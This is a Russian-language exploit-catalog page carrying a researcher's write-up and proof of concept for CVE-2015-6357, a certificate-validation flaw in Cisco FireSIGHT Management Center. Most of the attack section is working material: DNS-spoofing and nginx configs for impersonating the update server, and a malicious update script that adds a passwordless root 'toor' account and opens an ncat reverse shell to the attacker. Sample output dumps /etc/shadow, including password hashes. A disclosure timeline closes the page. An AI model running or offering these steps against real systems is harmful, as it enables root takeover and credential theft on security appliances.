Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
firepwner — Эксплойт для CVE-2015-6357 — уязвимость проверки сертификатов Cisco FireSIGHT Management Center | Kitploit
Инструменты/GitHubGitHub/mattimustang/firepwner
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеАнализ DNS
GitHubmattimustang/firepwner

firepwner

Эксплойт для CVE-2015-6357 — уязвимость проверки сертификатов Cisco FireSIGHT Management Center

Репозиторий
65310 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2015-6357: FirePWNER Exploit для уязвимости проверки SSL в Cisco FireSIGHT Management Center

Введение

Сама по себе уязвимость проверки сертификатов Cisco FireSIGHT Management Center имеет средний уровень серьезности с CVSS 5.1. Однако эта уязвимость является примером того, почему проверка SSL-сертификатов так важна. В этом эксплойте я продемонстрирую, как уязвимость может быть использована для получения привилегированного удаленного выполнения команд на системе Cisco FireSIGHT. Эксплойт связывает уязвимость проверки SSL с процессом обновления программного обеспечения на системе Cisco FireSIGHT, чтобы обманом заставить целевую систему загрузить вредоносное обновление и выполнить его для получения обратной оболочки с привилегиями root.

И ВОТ ПОЧЕМУ НУЖНО ВСЕГДА ПРОВЕРЯТЬ SSL-СЕРТИФИКАТЫ

Уязвимость

Устройство Cisco FireSIGHT Management Center используется для управления системами предотвращения вторжений (IPS) Cisco FirePOWER, также известными как Sourcefire IPS. FireSIGHT отвечает за загрузку обновленных сигнатур IPS и их установку на управляемых устройствах IPS.

FireSIGHT Management Center позволяет администратору вручную инициировать обновление правил IPS или запланировать обновления ежедневно/еженедельно/ежемесячно.

Когда FireSIGHT Management Center выполняет обновление, он использует UNIX-команду curl для загрузки с Sourcefire Support. При вызове команды curl передается опция -k (также известная как --insecure), которая указывает curl не проверять никакие SSL-сертификаты, представленные сервером.

Вот вывод ps сервера, загружающего обновление:

root@kitploit:~
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root      8351  0.0  0.0  37396  2708 ?        S    02:02   0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh

Обновления FireSIGHT поступают в виде shell-скрипта, сгенерированного makeself, который содержит как команды UNIX Bourne shell, так и бинарные данные, которые должны быть доставлены в обновлении. Эти shell-скрипты обновления выполняются непосредственно на сервере FireSIGHT от имени локального пользователя www.

Атакующий, способный выполнить атаку «человек посередине» против сервера FireSIGHT, может заставить его подключиться к поддельной версии веб-сайта Sourcefire Support и загрузить вредоносный скрипт обновления, который выполнит любую команду, которую пожелает атакующий, на сервере FireSIGHT.

Уязвимость проверки SSL позволяет этому произойти, в результате чего система спокойно игнорирует поддельный SSL-сертификат атакующего, загружает вредоносное обновление и выполняет его.

Если бы команда curl проверяла SSL-сертификат, она бы не смогла загрузить вредоносный скрипт и защитила бы сервер FireSIGHT от атакующего.

Этот эксплойт демонстрирует опасность отсутствия проверки SSL-сертификата, используя уязвимость для получения удаленного выполнения команд от имени пользователя root.

Сценарий атаки

Сценарий атаки предполагает, что атакующий получил возможность перехватывать трафик от сервера FireSIGHT к веб-сайту https://support.sourcefire.com. Самый простой способ продемонстрировать это — настроить «скомпрометированный» DNS-сервер, который отвечает на запросы для домена support.sourcefire.com IP-адресом веб-сервера, контролируемого атакующим.

В реальном сценарии атаки атакующий может использовать любые методы «человека посередине» для достижения той же цели. Например:

  • Отравление DNS-кэша
  • ARP-спуфинг, например, с помощью ettercap.

Этот эксплойт тестировался на следующих версиях виртуального устройства FireSIGHT:

  • 5.2.0
  • 5.3.0
  • 5.4.0
  • 5.4.1.1
  • 5.4.1.2

В PoC ниже серверу FireSIGHT был назначен IP-адрес 192.168.1.99.

Атакующий хост работал под управлением Kali Linux 2.0, хотя описанная ниже настройка должна работать на любом сервере на базе Debian Linux. IP-адрес хоста Kali в примере ниже — 192.168.1.1. Хост Kali используется для запуска DNS-сервера, а также поддельного веб-сайта Sourcefire Support.

Настройка dnsmasq

Эксплойт требует возможности подмены DNS-ответа для support.sourcefire.com. Для обеспечения этой возможности запускается сервер dnsmasq, который действует как «скомпрометированный» DNS-сервер.

Установите dnsmasq:

root@kitploit:~
root@kali# apt-get install dnsmasq

Настройте dnsmasq:

root@kitploit:~
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF

Измените IP-адрес в строке address на адрес веб-сервера, с которого вы будете раздавать обновления.

Запустите dnsmasq:

root@kitploit:~
root@kali# service dnsmasq start

Настройка nginx

Для доставки эксплойта на сервер FireSIGHT, когда он запрашивает обновление, требуется веб-сервер.

Установите веб-сервер nginx:

root@kitploit:~
root@kali# apt-get install nginx

Создайте самозаверяющий сертификат для подмены support.sourcefire.com:

root@kitploit:~
root@kali# mkdir /etc/nginx/ssl

root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
 -out /etc/nginx/ssl/nginx.crt

Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:

Настройте nginx, заменив содержимое /etc/nginx/sites-available/default на:

root@kitploit:~
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    listen 443 ssl;

    root /var/www/html;

    index index.html index.htm index.nginx-debian.html;

    server_name support.sourcefire.com;
    ssl_certificate /etc/nginx/ssl/nginx.crt;
    ssl_certificate_key /etc/nginx/ssl/nginx.key;

    location / {
        try_files $uri $uri/ =404;
    }

    # rewrite requests that contain the clients license key
    location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
        rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
    }

    location /auto-update {
        root /var/www/html/firepwner;
    }

}

Запустите nginx:

root@kitploit:~
root@kali# service nginx start

Настройка эксплойта

Эксплойт FirePWNER требует, чтобы с веб-сервера раздавались два файла. Первый файл — это манифест обновления, XML-файл, содержащий список доступных обновлений, их местоположение для загрузки и MD5-хэши.

Сначала нужно создать несколько каталогов:

root@kitploit:~
root@kali# mkdir \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}

Затем скопируйте файлы эксплойта в них:

root@kitploit:~
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh

После копирования этих файлов вы должны иметь возможность перейти по адресу http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml

Настройка DNS-сервера FireSIGHT

Далее, для целей демонстрации эксплойта, сервер FireSIGHT необходимо настроить на использование «скомпрометированного» DNS-сервера. Войдите в веб-портал FireSIGHT и перейдите в System > Local > Configure > Management Interfaces, установите Primary DNS server на IP-адрес «скомпрометированного» DNS-сервера (192.168.1.1) и сохраните изменение.

Запуск эксплойта

Эксплойт использует команду ncat, установленную по умолчанию на сервере FireSIGHT, для создания обратной оболочки на хост Kali. На хосте Kali необходимо прослушивать входящее соединение обратной оболочки от сервера FireSIGHT:

root@kitploit:~
root@kali# ncat -v -l 4444

Затем на веб-портале FireSIGHT перейдите в System > Updates > Rule Updates и выберите Download new rule update from the Support Site, затем нажмите кнопку Import. Сервер загрузит манифест обновления sf.xml с сервера атакующего, увидит, что доступно обновление, загрузит его и выполнит от имени пользователя www. Приведенный ниже скрипт обновления/эксплойта использует тот факт, что пользователь www имеет ряд команд sudo, которые он может выполнять, включая useradd. Эксплойт создает нового пользователя toor с пустым паролем, а затем использует su для повышения привилегий и запуска обратной оболочки обратно на сервер атакующего.

root@kitploit:~
#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
 -d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0

Скрипт эксплойта может быть изменен для выполнения любых других желаемых команд. Если скрипт изменен, то значение XML-тега <md5sum> в sf.xml должно быть обновлено новым MD5-хэшем скрипта эксплойта.

Ниже приведен пример вывода, который вы должны увидеть на хосте Kali, когда эксплойт успешно выполнен и удаленная оболочка на сервере FireSIGHT открыта, а команды id и cat /etc/passwd выполнены:

root@kitploit:~
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::

Получение эксплойта

Файлы, используемые в этом эксплойте, можно получить на github.

График раскрытия

  • 2015-08-31 Уязвимость обнаружена в FireSIGHT 5.4.x, эксплойт разработан Мэттью Фланаганом (Matthew Flanagan).
  • 2015-09-01 Установлен первоначальный контакт с Cisco PSIRT [email protected].
  • 2015-09-01 PSIRT ответил с просьбой предоставить дополнительную информацию.
  • 2015-09-01 Мэттью Фланаган предоставил PSIRT полное описание и эксплойт уязвимости.
  • 2015-09-02 PSIRT зарегистрировал дефект FireSIGHT и инцидент PSIRT-190974966.
  • 2015-09-15 Мэттью Фланаган сообщил Cisco PSIRT, что версии 5.2.0 и 5.3.0 также уязвимы.
  • 2015-10-16 PSIRT сообщил мне оценку CVSS, присвоенную уязвимости.
  • 2015-11-09 PSIRT присвоил идентификатор CVE CVE-2015-6357.
  • 2015-11-16 Опубликована уязвимость проверки сертификатов Cisco FireSIGHT Management Center.
  • 2015-11-16 Опубликованы выводы Мэттью Фланагана.
Скачать инструмент